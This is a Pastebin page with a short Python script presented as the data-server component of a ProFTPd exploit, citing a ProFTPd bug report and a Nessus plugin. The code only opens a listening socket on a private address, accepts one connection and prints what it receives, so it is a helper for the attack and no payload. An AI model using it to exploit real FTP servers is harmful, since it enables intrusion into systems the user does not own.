Advertisement
Guest User

dataServerProFTPdExploit

a guest
Apr 2nd, 2012
509
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.74 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. """
  4. ProFTPd Exploit
  5.  
  6. Advisory:
  7. http://bugs.proftpd.org/show_bug.cgi?id=3711
  8. Nessus:
  9. http://www.nessus.org/plugins/index.php?view=single&id=56956
  10.  
  11. Download:
  12. ftp://ftp1.at.proftpd.org/ProFTPD/distrib/source/
  13.  
  14. Credits:
  15. Ruben Garrote García
  16. Twitter: @boken_
  17. rubengarrote@gmail.com
  18. http://boken00.blogspot.com - boken00@gmail.com
  19. """
  20.  
  21. # Parameters
  22. ftpClient = "192.168.1.11"
  23. ftpClientPort = "1025"
  24.  
  25. import socket
  26. import time
  27.  
  28. # Open a socket to receive data    
  29. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  30. s.bind((ftpClient,int(ftpClientPort)))
  31. s.listen(5)        
  32.  
  33. client, address = s.accept()
  34. print client.recv(2)
  35. time.sleep(5)
  36. print client.recv(1024)
  37. client.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement